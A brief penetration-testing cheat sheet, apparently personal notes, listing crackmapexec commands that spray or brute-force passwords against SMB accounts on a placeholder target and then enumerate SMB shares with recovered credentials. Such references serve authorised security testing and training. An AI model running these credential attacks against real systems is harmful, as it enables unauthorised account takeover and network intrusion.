Using crackmapexec to attack user accounts
crackmapexec smb <TARGET IP> -u usernames.txt -p passwords.txt --continue-on-success
crackmapexec smb <TARGET IP> -u usernames.txt -p 'passw0rd!' --continue-on-success
Listing SMB shares
crackmapexec smb <TARGET IP> -u $USERNAME -p "$PASSWORD" --shares